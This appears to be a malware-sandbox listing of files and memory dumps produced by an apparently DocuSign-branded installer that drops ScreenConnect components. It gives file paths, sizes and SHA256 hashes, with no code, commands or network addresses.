                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 948B
                      • SHA256 4710aa1eb959174dba8cf01e1d483687c3c522e5777d0d8309f9c2e95e547830
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      setup.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\setup.exe
                      • Size 5.4MB
                      • SHA256 792f3352f19e124b88c4f37b2e23637b0d475b82636c0a17976adfcfb16291c3
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.hta
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\setup.hta
                      • Size 12KB
                      • SHA256 fdc24883a1d95bd21621c7426124fefba49bfcc959c1c774a4d5dab6893689fc
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.msi
                      • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_50053739\setup.msi
                      • Size 3.1MB
                      • SHA256 128b98c74f2e348978f9d440ee79a8be06ba829e5b29cb3862c21b69d11f83b5
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      __PSScriptPolicyTest_2xcg3beo.ba3.ps1
                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2xcg3beo.ba3.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      MSI3DBB.tmp
                      • Path C:\Windows\Installer\MSI3DBB.tmp
                      • Size 1.0MB
                      • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      Microsoft.Deployment.WindowsInstaller.dll
                      • Path C:\Windows\Installer\MSI3DBB.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                      • Size 172KB
                      • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Core.dll
                      • Path C:\Windows\Installer\MSI3DBB.tmp-\ScreenConnect.Core.dll
                      • Size 539KB
                      • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.InstallerActions.dll
                      • Path C:\Windows\Installer\MSI3DBB.tmp-\ScreenConnect.InstallerActions.dll
                      • Size 11KB
                      • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ScreenConnect.Windows.dll
                      • Path C:\Windows\Installer\MSI3DBB.tmp-\ScreenConnect.Windows.dll
                      • Size 1.6MB
                      • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MSI4406.tmp
                      • Path C:\Windows\Installer\MSI4406.tmp
                      • Size 202KB
                      • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MSIA4EA.tmp
                      • Path C:\Windows\Installer\MSIA4EA.tmp
                      • Size 211KB
                      • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      icon.ico
                      • Path C:\Windows\Installer\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}\icon.ico
                      • Size 73KB
                      • SHA256 406c793c20be6bdde619ab7c1385567dafd7ae923cdca08db0b9390fa810e9c3
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      docusignprintdriver.inf_amd64_871637b342fb7360.ini
                      • Path C:\Windows\System32\DriverStore\FileRepository\docusignprintdriver.inf_amd64_871637b342fb7360.ini
                      • Size 732B
                      • SHA256 6a28c110f19e595c49c3d6bddd3b0a11fcbea84cc4ff8e7fa8fc4fd7498611cd
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      docusignprintdriver.inf_amd64_871637b342fb7360.ini
                      • Path C:\Windows\System32\DriverStore\FileRepository\docusignprintdriver.inf_amd64_871637b342fb7360.ini
                      • Size 883B
                      • SHA256 5b569304f61162dbde5a65bfc2adc704f14aa1cda44992c7709357746c1ecb59
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      2ab29353.gpd
                      • Path C:\Windows\System32\spool\V4Dirs\A28914D3-FD8B-4BCB-8E0B-39BE2BBDF8A6\2ab29353.gpd
                      • Size 21KB
                      • SHA256 2498e523a459f6bf51436e0bd23a449bd6f6e7a3f7f50bde0484427942915839
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      BootstrapperCore.config
                      • Path C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\.ba\BootstrapperCore.config
                      • Size 1KB
                      • SHA256 e9b4b48a7445e774ac7907c77606f1964aaa33b4725311ac336ed8f59f0bad79
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      BootstrapperCore.dll
                      • Path C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\.ba\BootstrapperCore.dll
                      • Size 87KB
                      • SHA256 f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      DocuSign.BootstrapperApplication.dll
                      • Path C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\.ba\DocuSign.BootstrapperApplication.dll
                      • Size 181KB
                      • SHA256 6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      mbahost.dll
                      • Path C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\.ba\mbahost.dll
                      • Size 119KB
                      • SHA256 9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      MainPackage
                      • Path C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\MainPackage
                      • Size 3.4MB
                      • SHA256 6e4f0f8335e1e468700772213bac21575deb0a1c1405a33b721335feb8a9399f
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      de.mst
                      • Path C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\de.mst
                      • Size 32KB
                      • SHA256 02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      ko.mst
                      • Path C:\Windows\Temp\{2858DF5C-498A-4746-BF31-9CB8B7CBD56D}\ko.mst
                      • Size 32KB
                      • SHA256 985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      setup.exe
                      • Path C:\Windows\Temp\{466C24BE-491F-4238-B1F0-8AA98071F434}\.cr\setup.exe
                      • Size 1.6MB
                      • SHA256 191d60a7e20d917fa118b4ab76a98d719f88ccd78b7474d85ebe1e874e5aa5b6
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      memory/476-23-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/476-29-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/476-26-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/476-24-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/476-25-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/476-20-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/476-21-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/476-17-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/1076-74-0x0000000003120000-0x000000000314E000-memory.dmp
                      Download

                      memory/1076-78-0x0000000003160000-0x000000000316A000-memory.dmp
                      Download

                      memory/1076-82-0x0000000003200000-0x000000000328E000-memory.dmp
                      Download

                      memory/1076-86-0x0000000005640000-0x00000000057EC000-memory.dmp
                      Download

                      memory/1076-87-0x0000000005DB0000-0x000000000636A000-memory.dmp
                      Download

                      memory/1340-329-0x0000023394730000-0x0000023394736000-memory.dmp
                      Download

                      memory/1340-327-0x0000023394740000-0x000002339476E000-memory.dmp
                      Download

                      memory/1468-237-0x0000000002E90000-0x0000000002EA8000-memory.dmp
                      Download

                      memory/1468-244-0x00000000065A0000-0x00000000065D4000-memory.dmp
                      Download

                      memory/1980-496-0x00000000002E0000-0x0000000000367000-memory.dmp
                      Download

                      memory/2052-12-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-11-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-4-0x0000022C5DA10000-0x0000022C5DA32000-memory.dmp
                      Download

                      memory/2052-10-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-1-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-9-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-0-0x00007FFE1914F000-0x00007FFE19150000-memory.dmp
                      Download

                      memory/2052-16-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-8-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-13-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-7-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-6-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2052-5-0x00007FFE18FC0000-0x00007FFE19964000-memory.dmp
                      Download

                      memory/2112-179-0x0000000002B10000-0x0000000002B28000-memory.dmp
                      Download

                      memory/2112-167-0x0000000000A50000-0x0000000000AE8000-memory.dmp
                      Download

                      memory/2112-168-0x000000001B6C0000-0x000000001B6F6000-memory.dmp
                      Download

                      memory/2112-169-0x000000001BA90000-0x000000001BB1E000-memory.dmp
                      Download

                      memory/2112-180-0x000000001B660000-0x000000001B678000-memory.dmp
                      Download

                      memory/2112-174-0x000000001BE80000-0x000000001C008000-memory.dmp
                      Download

                      memory/2112-170-0x000000001BCD0000-0x000000001BE7C000-memory.dmp
                      Download

                      memory/2348-497-0x00000000002E0000-0x0000000000367000-memory.dmp
                      Download

                      memory/4100-483-0x000001C4291E0000-0x000001C4291FE000-memory.dmp
                      Download

                      memory/4100-487-0x000001C449620000-0x000001C44965E000-memory.dmp
                      Download

                      memory/4100-488-0x000001C443580000-0x000001C44358E000-memory.dmp
                      Download

                      memory/4100-486-0x000001C42AB90000-0x000001C42AB98000-memory.dmp
                      Download

                      memory/4100-480-0x000001C428CD0000-0x000001C428D5E000-memory.dmp
                      Download

                      memory/4100-481-0x000001C443590000-0x000001C443638000-memory.dmp
                      Download

                      memory/4100-482-0x000001C4434E0000-0x000001C443556000-memory.dmp
                      Download

                      memory/4488-256-0x0000016415700000-0x00000164160A4000-memory.dmp
                      Download

                      memory/4488-403-0x0000016415700000-0x00000164160A4000-memory.dmp
                      Download

                      memory/4756-137-0x0000000003FD0000-0x0000000004020000-memory.dmp
                      Download

                      memory/4756-141-0x0000000004020000-0x0000000004056000-memory.dmp
                      Download

                      memory/4756-148-0x00000000042E0000-0x0000000004372000-memory.dmp
                      Download

                      memory/4756-150-0x0000000003F80000-0x0000000003FC1000-memory.dmp
                      Download

                      memory/4756-126-0x0000000001670000-0x0000000001688000-memory.dmp
                      Download

                      memory/4756-156-0x00000000044D0000-0x00000000045A5000-memory.dmp
                      Download

                      memory/4860-489-0x00000000002E0000-0x0000000000367000-memory.dmp
                      Download